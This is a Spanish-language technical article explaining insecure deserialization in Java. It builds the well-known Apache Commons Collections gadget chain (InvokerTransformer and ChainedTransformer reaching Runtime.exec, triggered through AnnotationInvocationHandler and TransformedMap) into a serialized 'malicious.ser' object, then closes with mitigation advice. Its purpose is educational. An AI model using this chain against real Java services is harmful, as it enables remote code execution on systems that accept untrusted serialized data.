Análisis del mecanismo de vulnerabilidades en la deserialización de Java

Una de las debilidades de seguridad más críticas en aplicaciones Java es la deserialización insegura, que puede permitir a un atacante ejecutar comandos arbitrarios e incluso obtener acceso remoto al sistema. Este artículo explora el fundamento técnico detrás de estas vulnerabilidades, centrándose en cómo se aprovechan ciertos componentes del entorno Java mediante técnicas de reflexión y cadenas de transformación.

Serialización y deserialización en Java

Java permite convertir objetos en secuencias de bytes (serialización) para su almacenamiento o transmisión, y reconstruirlos posteriormente (deserialización). Para ello, una clase debe implementar Serializable. A continuación se muestra un ejemplo básico:

import java.io.*;

class DataObject implements Serializable {
    private static final long serialVersionUID = 1L;
    public int value;

    public DataObject(int val) {
        this.value = val;
    }
}

public class SerializeExample {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        DataObject obj = new DataObject(42);

        // Serializar
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.ser"))) {
            oos.writeObject(obj);
        }

        // Deserializar
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.ser"))) {
            DataObject restored = (DataObject) ois.readObject();
            System.out.println("Valor recuperado: " + restored.value);
        }
    }
}

Este proceso es seguro siempre que los datos provengan de una fuente confiable. Sin embargo, si un atacante controla el flujo serializado, puede inyectar objetos maliciosos que se ejecuten durante la deserialización.

Mecanismo de reflexión en Java

La reflexión permite inspeccionar y manipular clases, métodos y campos en tiempo de ejecución. Esto incluye:

  • Obtener instancias de clases dinámicamente.
  • Ejecutar métodos sin acceso directo.
  • Invocar funciones privadas o estáticas.

Esta funcionalidad es clave en muchas vulnerabilidades, ya que permite encadenar llamadas a métodos sensibles como Runtime.exec().

Ejecución de comandos mediante Runtime

En Java, se pueden ejecutar comandos del sistema operativo usando:

Process proc = Runtime.getRuntime().exec("calc");
proc.waitFor();

Aunque esta línea parece inocua, si se invoca desde un contexto no validado (como durante la deserialización), representa un riesgo grave. El reto del atacante consiste en lograr que este código se ejecute automáticamente cuando un objeto es restaurado.

Cadenas de transformación con Apache Commons Collections

La biblioteca Apache Commons Collections contiene una clase peligrosa cuando se usa junto con deserialización: InvokerTransformer, que utiliza reflexión para invocar métodos arbitrarios. Combinada con ChainedTransformer, permite construir una secuencia de invocaciones que termina ejecutando comandos.

El siguiente fragmento muestra cómo construir una cadena que eventualmente llame a exec():

Transformer[] chainParts = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}
    ),
    new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, null}
    ),
    new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"notepad"}
    )
};

Transformer payload = new ChainedTransformer(chainParts);

Disparador automático mediante AnnotatedElement

Para que la ejecución ocurra automáticamente durante la deserialización, se necesita un gadget que invoque el transformador sin intervención manual. Una clase comúnmente utilizada es sun.reflect.annotation.AnnotationInvocationHandler, que procesa mapas durante su método readObject().

Al decorar un mapa con TransformedMap y usarlo dentro de este manejador, cualquier modificación del valor activa el transformador:

Map<String, String> rawMap = new HashMap<>();
rawMap.put("key", "value");

Map<String, Object> transformedMap = TransformedMap.decorate(
    rawMap, null, payload);

Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object maliciousObj = ctor.newInstance(Retention.class, transformedMap);

// Serializar el objeto malicioso
try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("malicious.ser"))) {
    out.writeObject(maliciousObj);
}

Cuando este objeto es deserializado en un entorno vulnerable, la cadena de transformación se activa, ejecutando el comando especificado sin necesidad de interacción adicional.

Conclusión técnica

Las vulnerabilidades de deserialización en Java surgen cuando:

  1. Se acepta entrada serializada no confiable.
  2. Están presentes bibliotecas como Commons Collections en el classpath.
  3. Existen gadgets que disparan lógica peligrosa durante readObject().

La combinación de reflexión, transformadores encadenados y puntos de activación automáticos permite construir exploits altamente efectivos. La mitigación implica evitar la deserialización de fuentes externas, usar filtros de objetos o reemplazar componentes inseguros.

Etiquetas: java deserialización seguridad commons-collections reflexión

Publicado el 8-14 07:09